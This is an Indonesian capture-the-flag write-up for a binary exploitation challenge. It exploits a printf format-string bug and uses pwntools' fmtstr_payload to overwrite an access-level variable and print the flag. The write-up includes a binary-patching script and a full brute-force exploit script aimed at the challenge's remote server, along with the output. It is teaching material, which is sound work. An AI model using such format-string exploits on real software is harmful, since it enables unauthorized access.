

Librarians Journal

Jujur saya bingung nama tim nya apa Binary Exploitation

Write-up Penyelesaian

Kita menemukan printf(buf) (format-string vuln). access_level ada di 0x40402c; jika nilainya 1337 program akan system("cat flag.txt"). Kita pakai format-string (%hn) untuk menulis 1337 ke alamat itu, lalu pilih opsi 2 untuk baca flag.

Langkah:

1. Analisis & verifikasi lokal (opsional): buat librarian_patched yang menginisialisasi access_level = 1337 untuk cek alur cat flag.txt.
2. Di remote: temukan offset posisi argumen pada stack (kita otomatis brute-force).
3. Pakai fmtstr_payload (pwntools) untuk menulis 0x539 (1337) ke 0x40402c.
4. Pilih menu 2 : flag tampil.

Untuk verifikasi kita membuat salinan binari dan mem-patch dua hal:

- mengubah displacement di instruksi mov eax, [rip + disp] supaya memuat dari .data yang ada di file (bukan .bss), sehingga kita dapat menaruh nilai 1337 di file (.data) dan program akan membacanya saat berjalan.
- menulis 4-byte 0x539 ke .data pada file agar access_level berisi 1337 saat dieksekusi.

command yang kita pakai:

1. Buat salinan:

```
cp librarian librarian_patched  
chmod +x librarian_patched
```

2. Patch menggunakan Python :

```
# patch_binary.py  
with open("librarian_patched","r+b") as f:  
    # tulis displacement baru (0x2e50 little-endian) pada file offset 0x11ac  
    f.seek(0x11ac)  
    f.write(bytes.fromhex("502e0000"))  
    # tulis 0x539 (1337) ke .data file offset 0x3000 (4 bytes little-endian)  
    f.seek(0x3000)  
    f.write((0x539).to_bytes(4,'little'))
```

run ini:

```
python3 patch_binary.py
```

lalu kita lanjutkan run:
file librarian_patched

./librarian_patched

untuk pengecekan.

```
nyx1el@zeva:~/SriFoton$ file Librarian_patched
./Librarian_patched
Librarian_patched: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=01a959f855ad79fae6215e4e248cc78e2f012c7a, for GNU/Linux 3.2.0, not stripped
Selamat datang di Jurnal Pustakawan.

1. Tulis Entri Jurnal
2. Cek Akses ke Bagian Terlarang
3. Keluar
Pilihan: 2
Akses diberikan! Anda menemukan bagian terlarang.
cat: flag.txt: No such file or directory
```

pengecekan akses terlewati (akses_level==1337) tapi file flag tidak ada di direktori lokal

Eksplorasi remote (format-string)

alat yang kita pakai

- Python 3 + pwntools (pip install --user pwntools)
- Kita menulis dua skrip selama proses: exploit_bruteforce.py untuk otomatisasi mencari offset & mencoba payload; setelah offset diketahui kita menulis minimal_exploit.py yang ringkas.

Skrip brute-force

Skrip ini mencoba berbagai nilai offset untuk fmtstr_payload secara otomatis sampai remote server mengembalikan sesuatu yang tampak seperti flag. atau:

- membuka koneksi ke host,
- mengirim payload fmtstr_payload(offset, {addr:value}),
- memilih opsi 2 untuk memicu cat flag.txt dan memeriksa hasil.

```
#!/usr/bin/env python3
# exploit_bruteforce.py
from pwn import *
import time

HOST = "145.79.8.88"
PORT = 9003
TARGET = 0x40402c
VALUE = 0x539 # 1337
MAX_OFFSET = 400
context.log_level = 'info'
context.arch = 'amd64'

def try_offset(offset):
    try:
        io = remote(HOST, PORT, timeout=6)
    except Exception as e:
```

```

        return False, ""
    try:
        io.recvuntil(b"Pilihan:", timeout=3)
        payload = fmtstr_payload(offset, {TARGET: VALUE}, write_size='short')
        if len(payload) > 0x70:
            io.close()
            return False, ""
        io.sendline(b"1")
        io.recvuntil(b"Tuliskan", timeout=2)
        io.sendline(payload)
        io.recvuntil(b"Pilihan:", timeout=3)
        io.sendline(b"2")
        out = io.recvall(timeout=5).decode('latin-1', errors='ignore')
        io.close()
        if "{" in out or "SRIFOTON" in out or "flag" in out.lower():
            return True, out
        return False, out
    except Exception as e:
        try: io.close()
        except: pass
        return False, ""

def main():
    for off in range(4, MAX_OFFSET+1):
        ok, out = try_offset(off)
        print(f"Trying offset {off}: ok={ok}")
        if ok:
            print("=== FLAG OUTPUT ===")
            print(out)
            return

if __name__ == "__main__":
    main()

```

lalu kita run:
 python3 exploit_bruteforce.py

```
nyx1el@Zeva:~/Srifoton$ python3 exploit_bruteforce.py
[+] Opening connection to 145.79.8.88 on port 9003: Done
[*] Closed connection to 145.79.8.88 port 9003
Trying offset 4: ok=False
[+] Opening connection to 145.79.8.88 on port 9003: Done
[*] Closed connection to 145.79.8.88 port 9003
Trying offset 5: ok=False
[+] Opening connection to 145.79.8.88 on port 9003: Done
[+] Receiving all data: Done (170B)
[*] Closed connection to 145.79.8.88 port 9003
Trying offset 6: ok=True
=== FLAG OUTPUT ===
  Akses diberikan! Anda menemukan bagian terlarang.
SRIFOTON{F0rm4t_Str1ng_C4n_R3wr1t3_H1st0ry}

1. Tulis Entri Jurnal
2. Cek Akses ke Bagian Terlarang
3. Keluar
Pilihan:
```

FLAG = SRIFOTON{F0rm4t_Str1ng_C4n_R3wr1t3_H1st0ry}